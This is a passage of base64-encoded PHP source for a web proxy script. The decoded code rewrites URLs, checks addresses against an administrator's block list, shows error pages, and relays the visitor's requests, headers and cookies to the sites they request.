b3RlPSR1cmx7MH07CgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsKCX0KCWlm KCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7CgkkdXJsb2JqPW5ldyBhdXJs KCR1cmwsJHRvcHVybCk7CgkkbmV3X3VybD0oJGFkZHByb3h5PyR1cmxvYmotPnN1cnJvZ2FmeSgp OiR1cmxvYmotPmdldF91cmwoKSk7CglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9Insk dXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsKCXJldHVybiAkbmV3X3VybDsKfQoKZnVu Y3Rpb24gZnJhbWlmeV91cmwoJHVybCwkZnJhbWVfdHlwZT1mYWxzZSl7CglpZigoJGZyYW1lX3R5 cGUhPT1QQUdFVFlQRV9GUkFNRV9UT1AgfHwgIVVSTF9GT1JNKSAmJiAoJGZyYW1lX3R5cGUhPT1Q QUdFVFlQRV9GUkFNRURfUEFHRSAmJiAhUEFHRV9GUkFNRUQpKSByZXR1cm4gJHVybDsKCS8vaWYo cHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApewoJaWYoKCR1cmx7MH09PSci JyAmJiBzdWJzdHIoJHVybCwtMSk9PSciJykgfHwgKCR1cmx7MH09PSdcJycgJiYgc3Vic3RyKCR1 cmwsLTEpPT0nXCcnKSl7CgkJJHVybHF1b3RlPSR1cmx7MH07CgkJJHVybD1zdWJzdHIoJHVybCwx LHN0cmxlbigkdXJsKS0yKTsKCX0KCWlmKHByZWdfbWF0Y2goRlJBTUVfTE9DS19SRUdFWFAsJHVy bCk8PTApewoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JN KSAkcXVlcnk9JyY9JzsKCQllbHNlaWYoJGZyYW1lX3R5cGU9PT1QQUdFVFlQRV9GUkFNRURfQ0hJ TEQpICRxdWVyeT0nLiY9JzsKCQllbHNlaWYoJGZyYW1lX3R5cGU9PT1QQUdFVFlQRV9GUkFNRURf UEFHRSB8fCBQQUdFX0ZSQU1FRCkgJHF1ZXJ5PSdfJj0nOwoJCWVsc2UgJHF1ZXJ5PW51bGw7CgkJ JHVybD1wcmVnX3JlcGxhY2UoJy9eKFteXD9dKilbXD9dPycuUEFHRVRZUEVfTUlOSVJFR0VYUC4n KFteI10qP1sjXT8uKj8pJC8nLCJcXDE/PXskcXVlcnl9XFwzIiwkdXJsLDEpOwoJfQoJaWYoIWVt cHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOwoJcmV0 dXJuICR1cmw7Cn0KCmZ1bmN0aW9uIHByb3hlbmMoJHVybCl7CglpZigkdXJsezB9PT0nficgfHwg c3RydG9sb3dlcihzdWJzdHIoJHVybCwwLDMpKT09JyU3ZScpIHJldHVybiAkdXJsOwoJJHVybD11 cmxlbmNvZGUoJHVybCk7CgkkbmV3X3VybD1udWxsOwoJZm9yKCRpPTA7JGk8c3RybGVuKCR1cmwp OyRpKyspewoJCSRjaGFyPW9yZCgkdXJseyRpfSk7CgkJJGNoYXIrPW9yZChzdWJzdHIoU0VTU19Q UkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsKCQl3aGlsZSgkY2hhcj4xMjYpICRjaGFyLT05 NDsKCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsKCX0KCSNyZXR1cm4gJ34nLmJhc2U2NF9lbmNvZGUo JG5ld191cmwpOwoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkp Owp9CgojIH19fQoKIyBQUk9YWSBGVU5DVElPTlM6IEVSUk9SUyAmIEVYSVRJTkcge3t7CgpmdW5j dGlvbiBmaW5pc2hfbm9leGl0KCl7CglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsKCSMgc2F2ZSBE TlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcKCSRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ109JGRu c19jYWNoZV9hcnJheTsKfQoKZnVuY3Rpb24gZmluaXNoKCl7CglmaW5pc2hfbm9leGl0KCk7Cgll eGl0KCk7Cn0KCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwk YXJnMz1udWxsKXsKCWdsb2JhbCAkY3Vycl91cmw7CgkkdXJsPSRjdXJyX3VybDsKCXN3aXRjaCgk ZXJyb3Jubyl7CgkJY2FzZSAxOgoJCQkkZXQ9J0JhZCBJUCBBZGRyZXNzJzsKCQkJJGVkPSJUaGUg SVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBv ciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJs ZSBJUCBhZGRyZXNzLiI7CgkJCWJyZWFrOwoJCWNhc2UgMjoKCQkJJGV0PSdBZGRyZXNzIGlzIEJs b2NrZWQnOwoJCQkkZWQ9IlRoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgc2VydmljZSBo YXMgZGVjaWRlZCB0byBibG9jayB0aGlzIGFkZHJlc3MsIGRvbWFpbiwgb3Igc3VibmV0LlxuPGJy IC8+PGJyIC8+XG5Eb21haW46IHskYXJnMX1cbjxiciAvPlxuQWRkcmVzczogeyRhcmcyfSI7CgkJ CWJyZWFrOwoJCWNhc2UgMzoKCQkJJGV0PSdDb3VsZCBOb3QgUmVzb2x2ZSBEb21haW4nOwoJCQkk ZWQ9IlRoZSBkb21haW4gb2YgdGhlIFVSTCBnaXZlbiAoeyRhcmcxfSkgY291bGQgbm90IGJlIHJl c29sdmVkIGR1ZSB0byBETlMgaXNzdWVzIG9yIGFuIGVycm9ybmVvdXMgZG9tYWluIG5hbWUuIjsK CQkJYnJlYWs7CgkJY2FzZSA0OgoJCQkkZXQ9J0JhZCBGaWx0ZXJzJzsKCQkJJGVkPSdUaGUgYWRt aW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBk b21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7 CgkJCWJyZWFrOwoJCWNhc2UgNToKCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7CgkJCSRlZD0n VGhlIGFkbWluaXN0cmF0b3Igb2YgdGhpcyBwcm94eSBoYXMgZGVjaWRlZCB0byBibG9jayB0aGlz IGRvbWFpbi4nOwoJCQlicmVhazsKCQljYXNlIDY6CgkJCSRldD0nQ291bGQgTm90IENvbm5lY3Qg dG8gU2VydmVyJzsKCQkJJGVkPSJBbiBlcnJvciBoYXMgb2NjdXJyZWQgd2hpbGUgYXR0ZW1wdGlu ZyB0byBjb25uZWN0IHRvIFwieyRhcmcxfVwiIG9uIHBvcnQgXCJ7JGFyZzJ9XCIuIjsKCQkJYnJl YWs7CgkJY2FzZSA3OgoJCQkkZXQ9J0ludmFsaWQgVVJMJzsKCQkJJGVkPSdUaGUgVVJMIGJlbG93 IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOwoJCQkkdXJsPSRhcmcxOwoJCQli cmVhazsKCX0KCSRlZC49IlxuPGJyIC8+PGJyIC8+XG5VUkw6Jm5ic3A7eyR1cmx9IjsKPz4KPGRp diBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+ PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4KCTxk aXYgc3R5bGU9ImZsb2F0OiBsZWZ0OyBib3JkZXI6IDFweCBzb2xpZCAjNjAyMDIwOyBwYWRkaW5n OiAxcHg7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYiPgoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxl ZnQ7IGJhY2tncm91bmQtY29sb3I6ICM4MDEwMTA7IGNvbG9yOiAjRkZGRkZGOyBmb250LXdlaWdo dDogYm9sZDsgZm9udC1zaXplOiA1NHB4OyBwYWRkaW5nOiAycHg7IHBhZGRpbmctbGVmdDogMTJw eDsgcGFkZGluZy1yaWdodDogMTJweCI+ITwvZGl2PgoJPC9kaXY+Cgk8ZGl2IHN0eWxlPSJmbG9h dDogbGVmdDsgd2lkdGg6IDUwMHB4OyBwYWRkaW5nLWxlZnQ6IDIwcHgiPgoJCTxkaXYgc3R5bGU9 ImJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDAwMDAwOyBmb250LXNpemU6IDEycHQ7IHRleHQt YWxpZ246IGNlbnRlcjsgZm9udC13ZWlnaHQ6IGJvbGQ7IHBhZGRpbmc6IDJweCI+RXJyb3I6IDw/ cGhwIGVjaG8oJGV0KTsgPz48L2Rpdj4KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhw IGVjaG8oJGVkKTsgPz48L2Rpdj4KCTwvZGl2Pgo8L2Rpdj48L2Rpdj4KPD9waHAgZmluaXNoKCk7 IH0KCiMgfX19CgojIFBST1hZIEZVTkNUSU9OUzogVENQL0lQIHt7ewoKZnVuY3Rpb24gaXBiaXR0 ZXIoJGlwYWRkcil7CgkkaXBzcGxpdD1leHBsb2RlKCcuJywkaXBhZGRyKTsKCWZvcigkaT0wOyRp PDQ7JGkrKyl7CgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOwoJCSRpcHNwbGl0 WyRpXT1zdHJfcmVwZWF0KCcwJyw4LXN0cmxlbigkaXBzcGxpdFskaV0pKS4kaXBzcGxpdFskaV07 Cgl9CglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsKfQoKZnVuY3Rpb24gaXBjb21wYXJl KCRpcHJhbmdlLCRpcCl7CgkkaXByYXJyPXNwbGl0KCcvJywkaXByYW5nZSk7CgkkaXBhZGRyPSRp cHJhcnJbMF07CgkkbWFzaz0kaXByYXJyWzFdOwoJJG1hc2tiaXRzPXN0cl9yZXBlYXQoJzEnLCRt YXNrKS5zdHJfcmVwZWF0KCcwJywkbWFzayk7CgkkaXBiaXRzPWlwYml0dGVyKCRpcGFkZHIpOwoJ JGlwYml0czI9aXBiaXR0ZXIoJGlwKTsKCXJldHVybiAoKCRpcGJpdHMgJiAkbWFza2JpdHMpPT0o JGlwYml0czIgJiAkbWFza2JpdHMpKTsKfQoKZnVuY3Rpb24gaXBfY2hlY2soJGlwLCRtYXNrPWZh bHNlKXsKCSRpcHNlZz0nKD86WzAxXT9bMC05XXsxLDJ9fDIoPzo1WzAtNV18WzAtNF1bMC05XSkp JzsKCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/ J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoKfQoKZnVuY3Rpb24gZ2V0aG9zdGJ5 bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsKCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5OwoJJGlwYWRk cj1nZXRob3N0YnluYW1lKCRhZGRyZXNzKTsKCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFy cmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7CglyZXR1cm4gJGlwYWRkcjsK fQoKZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWQoJGFkZHJlc3MpewoJZ2xvYmFsICRkbnNf Y2FjaGVfYXJyYXk7CglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVy biAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107CglyZXR1cm4gZ2V0aG9zdGJ5 bmFtZV9jYWNoZWl0KCRhZGRyZXNzKTsKfQoKZnVuY3Rpb24gZ2V0X2NoZWNrKCRhZGRyZXNzKXsK CWdsb2JhbCAkYmxvY2tlZF9hZGRyZXNzZXM7CglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRh ZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7CgkkaXBjPWlwX2NoZWNrKCRh ZGRyZXNzKTsKCSRhZGRyZXNzaXA9KGlwX2NoZWNrKCRhZGRyZXNzKT8kYWRkcmVzczpnZXRob3N0 YnluYW1lX2NhY2hlZCgkYWRkcmVzcykpOwoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZv aygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOwoJZm9yZWFjaCgkYmxvY2tlZF9hZGRyZXNzZXMgYXMg JGJhZGQpewoJCWlmKCEkaXBjKSBpZihzdHJsZW4oJGJhZGQpPD1zdHJsZW4oJGFkZHJlc3MpICYm IHN1YnN0cigkYWRkcmVzcyxzdHJsZW4oJGFkZHJlc3MpLXN0cmxlbigkYmFkZCksc3RybGVuKCRi YWRkKSk9PSRiYWRkKSBoYXZvayg1KTsKCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwk YWRkcmVzcywkYWRkcmVzc2lwKTsKCQllbHNlaWYoaXBfY2hlY2soJGJhZGQsdHJ1ZSkpeyBpZihp cGNvbXBhcmUoJGJhZGQsJGFkZHJlc3NpcCkpIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7 IH0KCQllbHNlewoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsKCQkJaWYo ZW1wdHkoJGJhZGRpcCkpIGhhdm9rKDQpOwoJCQlpZigkYmFkZGlwPT0kYWRkcmVzc2lwKSBoYXZv aygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOwoJCX0KCX0KCXJldHVybiAkYWRkcmVzc2lwOwp9Cgoj IH19fQoKIyBQUk9YWSBGVU5DVElPTlM6IEhUVFAge3t7CgpmdW5jdGlvbiBodHRwY2xlYW4oJHN0 cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4w LTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwn Om51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQoKZnVuY3Rp b24gZ2V0cGFnZSgkdXJsKXsKCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5 X3ZhcmlhYmxlcywkcmVmZXJlcjsKCgkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOwoJJHF1ZXJ5PSR1 cmxvYmotPmdldF9xdWVyeSgpOwoJJHJlcXVybD0kdXJsb2JqLT5nZXRfcGF0aCgpLiR1cmxvYmot PmdldF9maWxlKCkuKCFlbXB0eSgkcXVlcnkpPyI/eyRxdWVyeX0iOm51bGwpOwoKCSRodHRwX2F1 dGg9bnVsbDsKCWlmKGV4dGVuc2lvbl9sb2FkZWQoJ2FwYWNoZScpKXsKCQkkZmFpbD1mYWxzZTsK CQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOwoJCSRodHRwX2F1dGg9JHJlcWFycmF5WydBdXRo b3JpemF0aW9uJ107Cgl9CgllbHNlICRmYWlsPXRydWU7CgoJJGF1dGhvcml6YXRpb249KCRmYWls PyRfU0VSVkVSWydIVFRQX0FVVEhPUklaQVRJT04nXTokY2hlYWRlcnNbJ0F1dGhvcml6YXRpb24n XSk7CgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCdd OiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsKCSRpZl9tb2RpZmllZD0oJGZhaWw/JF9TRVJW RVJbJ0hUVFBfSUZfTU9ESUZJRURfU0lOQ0UnXTokY2hlYWRlcnNbJ0lmLU1vZGlmaWVkLVNpbmNl J10pOwoJJGlmX25vbmVfbWF0Y2g9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX05PTkVfTUFUQ0gn XTokY2hlYWRlcnNbJ0lmLU5vbmUtTWF0Y2gnXSk7CgoJaWYoJGZhaWwpewoJCWlmKCFlbXB0eSgk YXV0aG9yaXphdGlvbikpICRodHRwX2F1dGg9JGF1dGhvcml6YXRpb247CgkJZWxzZWlmKCFlbXB0 eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRI X1BXJ10pKQoJCQkkaHR0cF9hdXRoPSdCYXNpYyAnLmJhc2U2NF9lbmNvZGUoInskX1NFUlZFUlsn UEhQX0FVVEhfVVNFUiddfTp7JF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ119Iik7CgkJZWxzZWlmKCFl bXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfRElHRVNUJ10pKSAkaHR0cF9hdXRoPSJEaWdlc3QgeyRf U0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXX0iOwoJfQoKCWlmKFBJUCE9bnVsbCAmJiBQUE9SVCE9 bnVsbCl7CgkJJHNlcnZlcm5hbWU9UElQOwoJCSRpcGFkZHJlc3M9Z2V0X2NoZWNrKFBJUCk7CgkJ JHBvcnR2YWw9UFBPUlQ7CgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsKCX0KCWVs c2V7CgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsKCQkkaXBhZGRyZXNz PSgkdXJsb2JqLT5nZXRfcHJvdG8oKT09J3NzbCcgfHwgJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdo dHRwcyc/J3NzbDovLyc6bnVsbCkuZ2V0X2NoZWNrKCRzZXJ2ZXJuYW1lKTsKCQkkcG9ydHZhbD0k dXJsb2JqLT5nZXRfcG9ydHZhbCgpOwoJfQoKCSRvdXQ9InskX1NFUlZFUlsnUkVRVUVTVF9NRVRI T0QnXX0gIi5zdHJfcmVwbGFjZSgnICcsJyUyMCcsJHJlcXVybCkuIiBIVFRQLzEuMVxyXG5Ib3N0 OiAiLiR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkuKCgkcG9ydHZhbCE9ODAgJiYgKCR1cmxvYmot PmdldF9wcm90bygpPT0naHR0cHMnPyRwb3J0dmFsIT00NDM6dHJ1ZSkpPyI6JHBvcnR2YWwiOm51 bGwpLiJcclxuIjsKCglnbG9iYWwgJHVzZXJhZ2VudDsKCSR1c2VyYWdlbnQ9bnVsbDsKCWlmKCRf Q09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsKCQkkdXNlcmFnZW50PSRfQ09P S0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddOwoJCWlmKGVtcHR5KCR1c2VyYWdlbnQpKSAkdXNl cmFnZW50PSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKCQkkdXNlcmFnZW50X2Nvb2s9KCR1 c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdl bnQpOwoJCWlmKCFlbXB0eSgkdXNlcmFnZW50X2Nvb2spKSAkb3V0Lj0iVXNlci1BZ2VudDogJHVz ZXJhZ2VudF9jb29rXHJcbiI7Cgl9CglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRo b3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7CgoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVG LidfcmVtb3ZlX3JlZmVyZXInXSkgJiYgIWVtcHR5KCRyZWZlcmVyKSkgJG91dC49J1JlZmVyZXI6 ICcuc3RyX3JlcGxhY2UoJyAnLCcrJywkcmVmZXJlcikuIlxyXG4iOwoJaWYoJF9TRVJWRVJbJ1JF UVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigk cG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxl bmNvZGVkXHJcbiI7CgoJJGNvb2tfcHJlZmRvbWFpbj1wcmVnX3JlcGxhY2UoJy9ed3d3XC4vaScs bnVsbCwkdXJsb2JqLT5nZXRfc2VydmVybmFtZSgpKTsgIyoKCSRjb29rX3ByZWZpeD1zdHJfcmVw bGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7CglpZihjb3Vu dCgkX0NPT0tJRSk+MCAmJiBlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2ll cyddKSl7CgkJJGFkZHRvb3V0PW51bGw7CgkJcmVzZXQoJF9DT09LSUUpOwoJCXdoaWxlKGxpc3Qo JGtleSwkdmFsKT1lYWNoKCRfQ09PS0lFKSl7CgkJCWlmKEVOQ1JZUFRfQ09PS1MpewoJCQkJJGtl eT1wcm94ZGVjKCRrZXkpOwoJCQkJJHZhbD1wcm94ZGVjKCR2YWwpOyAjdXJsZGVjb2RlKCR2YWwp KTsKCQkJfQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRr ZXkpIGNvbnRpbnVlOwoJCQkjJGNvb2tfZG9tYWluPXByZWdfcmVwbGFjZSgnL14oLionLkNPT0tJ RV9TRVBBUkFUT1IuJykuKiQvJywnXDEnLCRrZXkpOyAjKioKCQkJJGNvb2tfZG9tYWluPXN1YnN0 cigka2V5LDAsc3RycG9zKCRrZXksQ09PS0lFX1NFUEFSQVRPUikpLkNPT0tJRV9TRVBBUkFUT1I7 CgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRj b29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVl OwoJCQkka2V5PXN1YnN0cigka2V5LHN0cmxlbigkY29va19kb21haW4pLHN0cmxlbigka2V5KS1z dHJsZW4oJGNvb2tfZG9tYWluKSk7CgkJCWlmKCFpbl9hcnJheSgka2V5LCRwcm94eV92YXJpYWJs ZXMpKSAkYWRkdG9vdXQuPSIgJGtleT0kdmFsOyI7CgkJfQoJCWlmKCFlbXB0eSgkYWRkdG9vdXQp KXsKCQkJJGFkZHRvb3V0Lj0iXHJcbiI7CgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOwoJ CX0KCX0KCgkkb3V0Lj0iQWNjZXB0OiAqLyo7cT0wLjFcclxuIi4KCSAgICAgIChHWklQX1BST1hZ X1NFUlZFUj8iQWNjZXB0LUVuY29kaW5nOiBnemlwXHJcbiI6bnVsbCkuCgkgICAgICAvLyJBY2Nl cHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuCgkgICAgICAv Ki8KCSAgICAgICJLZWVwLUFsaXZlOiAzMDBcclxuIi4KCSAgICAgICJDb25uZWN0aW9uOiBrZWVw LWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8KCSAgICAgICJDb25uZWN0 aW9uOiBjbG9zZVxyXG4iLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyovCgkgICAg ICAoJGNhY2hlX2NvbnRyb2whPW51bGw/IkNhY2hlLUNvbnRyb2w6ICRjYWNoZV9jb250cm9sXHJc biI6bnVsbCkuCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTog JGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuCgkgICAgICAoJGlmX25vbmVfbWF0Y2ghPW51bGw/Iklm LU5vbmUtTWF0Y2g6ICRpZl9ub25lX21hdGNoXHJcbiI6bnVsbCkuCgkgICAgICAiXHJcbnskcG9z dF92YXJzfSIKCTsKCgkvLyBUaGlzIHBhcnQgaWdub3JlcyBhbnkgIlNTTDogZmF0YWwgcHJvdG9j b2wgZXJyb3IiIGVycm9ycywgYW5kIG1ha2VzIHN1cmUgb3RoZXIgZXJyb3JzIGFyZSBzdGlsbCB0 cmlnZ2VyZWQgY29ycmVjdGx5CglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7 CgkJaWYoJGVycm5vPD1FX1BBUlNFICYmICgkZXJybm8hPUVfV0FSTklORyB8fCBzdWJzdHIoJGVy cm1zZywtMjUpIT0nU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvcicpKXsKCQkJcmVzdG9yZV9lcnJv cl9oYW5kbGVyKCk7CgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOwoJCQlzZXRf ZXJyb3JfaGFuZGxlcignZXJyb3JIYW5kbGUnKTsKCQl9Cgl9CglzZXRfZXJyb3JfaGFuZGxlcign ZXJyb3JIYW5kbGUnKTsKCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJu bywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOwoJc3RyZWFtX3Nl dF90aW1lb3V0KCRmcCw1KTsKCSMgZm9yIHBlcnNpc3RlbnQgY29ubmVjdGlvbnMsIHRoaXMgbWF5 IGJlIG5lY2Vzc2FyeQoJLyoKCSR1Yj1zdHJlYW1fZ2V0X21ldGFfZGF0YSgkZnApOwoJJHViPSR1 YlsndW5yZWFkX2J5dGVzJ107CglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7CgkqLwoJZndyaXRl KCRmcCwkb3V0KTsKCgkkcmVzcG9uc2U9JzEwMCc7Cgl3aGlsZSgkcmVzcG9uc2U9PScxMDAnKXsK CQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsKCQkkcmVzcG9uc2U9c3Vic3RyKCRyZXNw b25zZWxpbmUsOSwzKTsKCgkJJGhlYWRlcnM9YXJyYXkoKTsKCQl3aGlsZSgkY3VybGluZSE9Ilxy XG4iICYmICRjdXJsaW5lPWZnZXRzKCRmcCw4MTkyKSl7CgkJCSRoYXJyPWV4cGxvZGUoJzonLCRj dXJsaW5lLDIpOwoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJy WzFdKTsKCQl9Cgl9CgoJI2lmKCRoZWFkZXJzWydwcmFnbWEnXVswXT09bnVsbCkgaGVhZGVyKCdQ cmFnbWE6IHB1YmxpYycpOwoJI2lmKCRoZWFkZXJzWydjYWNoZS1jb250cm9sJ11bMF09PW51bGwp IGhlYWRlcignQ2FjaGUtQ29udHJvbDogcHVibGljJyk7CgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9k aWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4 cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7CgoJIyByZWFk IGFuZCBzdG9yZSBjb29raWVzCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVf Y29va2llcyddKSl7CgkJZm9yKCRpPTA7JGk8Y291bnQoJGhlYWRlcnNbJ3NldC1jb29raWUnXSk7 JGkrKyl7CgkJCSR0aGlzY29vaz1leHBsb2RlKCc9JywkaGVhZGVyc1snc2V0LWNvb2tpZSddWyRp XSwyKTsKCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7 CgkJCSRjb29rX3ZhbD1zdWJzdHIoJHRoaXNjb29rWzFdLDAsc3RycG9zKCR0aGlzY29va1sxXSwn OycpKTsKCQkJJGNvb2tfZG9tYWluPXByZWdfcmVwbGFjZSgnL14uKmRvbWFpbj1bCSBdKlwuPyhb XjtdKykuKj8kL2knLCdcMScsJHRoaXNjb29rWzFdKTsgIyoKCQkJaWYoJGNvb2tfZG9tYWluPT0k dGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOwoJCQllbHNlaWYoc3Vi c3RyKCRjb29rX3ByZWZkb21haW4sc3RybGVuKCRjb29rX3ByZWZkb21haW4pLXN0cmxlbigkY29v a19kb21haW4pLHN0cmxlbigkY29va19kb21haW4pKSE9JGNvb2tfZG9tYWluKSBjb250aW51ZTsK CQkJJGNvb2tfbmFtZT1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX2RvbWFpbikuQ09PS0lFX1NF UEFSQVRPUi4kdGhpc2Nvb2tbMF07CgkJCWlmKEVOQ1JZUFRfQ09PS1MpewoJCQkJJGNvb2tfbmFt ZT1wcm94ZW5jKCRjb29rX25hbWUpOwoJCQkJJGNvb2tfdmFsPXByb3hlbmMoJGNvb2tfdmFsKTsK 